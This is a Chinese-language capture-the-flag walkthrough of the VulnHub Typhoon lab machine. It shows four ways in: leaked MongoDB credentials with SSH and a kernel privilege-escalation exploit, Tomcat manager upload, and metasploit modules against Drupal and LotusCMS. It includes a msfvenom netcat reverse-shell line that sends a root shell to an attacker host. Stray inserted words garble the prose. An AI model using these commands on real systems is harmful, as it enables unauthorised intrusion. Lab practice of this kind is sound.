SoftNight 嘶吼專業版 php
本次的Typhoon靶機包含了幾個漏洞和配置錯誤。大家能夠用這個靶機來測試網絡服務漏洞,配置錯誤,web應用漏洞,也能夠進行密碼破解***,提權,後***,還能夠進行信息收集和DNS***。python
靶機下載地址:https://www.vulnhub.com/entry/typhoon-102,267/mysql
***測試方法ios
· 網絡掃描(Netdiscover和Nmap都行)web
· 方法一:利用MongoDB進行***sql
· 查看robots.txtshell
· 經過瀏覽器利用MongoDB瀏覽器
· 獲取憑證tomcat
· SSH登陸bash
· 查看內核版本
· 內核提權
· 拿到root shell
· 方法二:經過Tomcat管理界面進行***(藉助metasploit神器)
· 生成bash payload
· 上傳bash payload
· 拿下root shell
· 方法三:利用Drupal CMS進行***
· 方法四:利用Lotus CMS進行***
這個靶機漏洞較多,因此咱們也有不少方法來***它。不過本文只演示兩種方法,其餘方法你們能夠本身琢磨。
方法1:經過MongoDB***
實戰開始
第一步,使用netdiscover進行網絡發現,找到咱們的靶機IP。
netdiscover
咱們這裏的IP是192.168.1.101(每一個人的IP可能不同)。
下一步是對IP進行掃描,固然是少不了Nmap神器。
nmap -A 192.168.1.101
掃完後能夠看到開放的端口和對應的服務以下:
· 21(ftp),
· 22(ssh),
· 25(smtp),
· 53(domain),
· 80(http),
· 110(pop3)
· 111(rpcbind)
· 139(netbios-ssn)
· 143(imap)
· 445(netbios-ssn)
· 631(ipp)
· 993(ssl/imaps),
· 995(ssl/pop3)
· 2049(nfs_acl)
· 3306(mysql),
· 5432(postgrespl)
· 8080(http)
如圖:
在圖中,能夠看到robots.txt文件中/monoadmin這個目錄禁止訪問,這個目錄可能會有用。咱們還注意到8080端口也開放了,對應的服務是Apache Tomcat,使用的引擎是Coyote JSP engine1.1。這多是另一種***靶機的方法,咱們一下子再來看看。
咱們先仍是從80端口入手,經過瀏覽器訪問一下/monoadmin這個目錄,訪問結果如圖所示:
這裏咱們設置 change database爲credentials(84mb),它會顯示2個憑證的連接,咱們點擊一下這個連接,居然顯示出了用戶名和密碼,用戶名是typhoon,密碼是789456123,如圖:
這個憑證對進一步***可能會大有幫助。
過了一下子以後,忽然腦海中蹦出來一個大膽的猜想,既然開放了22端口,那爲何不用剛纔發現的憑證登陸一下ssh試試呢,不得不說真是瞎貓碰上了死耗子,居然成功登錄上來了,如圖:
登陸以後,咱們發現虛擬機操做系統是Ubuntu14.04。而咱們對Ubuntu14.04的提權exp也比較熟悉,這真是太棒了。
接着,咱們用使用searchsploit來搜索Ubuntu14.04的提權exp,咱們使用的exp已經在下圖中用紅框框出來了,而後咱們將exp 37292.c複製到/root/directory目錄下,而後使用Python啓動一個服務器,從靶機中來下載這個exp。
exp搜索如圖:
在靶機中把exp下載下來以後,將它放到/tmp目錄下,而後編譯exp並賦予權限,而後執行。
哦耶,成功提權到root。而且找到flag就在根目錄下,查看一下文件內容便可獲得flag,如圖:
方法2:經過Tomcat Manager***
思路是這樣的,利用Tomcat Manager Upload能夠得到一個meterpreter會話,而後創建反向鏈接得到root權限。
OK,開始***實戰。
前面經過掃描已經知道了8080端口是開放的,並且運行的是Apache Tomcat服務,直接在瀏覽器中訪問8080端口看看,如圖:
經過之前其餘靶機的實戰操做,咱們已經對使用manager webapp來登陸Tomcat服務器很是熟悉了。因而咱們直接使用metasploit的一個模塊tomcat_mgr_upload來嘗試進行登陸,使用Tomcat默認的用戶名密碼便可。
用戶名:tomcat
密碼:tomcat
噢耶,登陸成功,得到meterpreter會話,如圖:
進來以後發現是一個Python shell,之前咱們也常常遇到,使用一條命令就能夠進入系統的shell,命令以下:
python -c ‘import pty;pty.spawn(「/bin/bash」)’
上圖中也已經框出來這條命令。
接着咱們花了一些時間來查找和遍歷文件,發如今/tab目錄下有一個script.sh文件,全部者是root,而且擁有全部權限。
既然如此,那咱們就想着往這個文件裏插入一些惡意代碼。
OK,那咱們就使用msfvenom來生成一段bash code,命令以下:
msfvenom –p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=1234 R
生成的惡意代碼如圖:
而後咱們將此惡意代碼插入到script.sh文件中,使用以下命令:
echo "mkfifo /tmp/vvwjo; nc 192.168.1.109 1234 0</tmp/vvwjo | /bin/sh >/tmp/vvwjo 2>&1; rm /tmp/vvwjo" > script.sh
如圖:
因爲惡意代碼在script.sh文件中得以執行後,咱們在監聽的nc端口上得到了一個反向的shell,而這個shell的權限直接是root,接下來查看root-flag就很少說了。
方法三:經過Drupal CMS***
訪問80端口時並無發現什麼,因而咱們使用Dirb來對web目錄進行遍歷,看看有沒有新發現,如圖:
如圖可知,有兩個cms目錄,已經標記出來,有一個是drupal,這就有點搞頭了。訪問一下drupal目錄,如圖:
在metasploit中有一個能夠直接利用drupal cms的模塊,那就很少囉嗦了,直接上metasploit,命令以下:
use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(/unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.1.101
msf exploit(/unix/webapp/drupal_drupalgeddon2) > set targeturi /drupal
msf exploit(/unix/webapp/drupal_drupalgeddon2) > exploit
nice,依然能夠順利拿下meterpreter會話,是否是很爽。接下來的後***就跟方法一中方法同樣,你們能夠本身嘗試。
方法四:經過Lotus CMS***
剛纔經過目錄掃描,發現了兩個cms目錄,咱們已經對drupal cms進行***了,如今咱們再來搞一下第二個cms,首先仍是經過瀏覽器訪問一下,如圖:
其實方法跟上面的同樣,metasploit中也有一個能夠直接利用lotus cms的模塊,利用命令以下:
use exploit/multi/http/lcms_php_exec
msf exploit(multi/http/lcms_php_exec) > set rhost 192.168.1.101
msf exploit(multi/http/lcms_php_exec) > set uri /cms/
msf exploit(multi/http/lcms_php_exec) > exploit
執行命令後,結果如圖:
很是棒,咱們一樣得到了靶機的另外一個meterpreter會話,後***的步驟跟上面的同樣,就不囉嗦了,你們本身跟着方法一的步驟作一遍便可。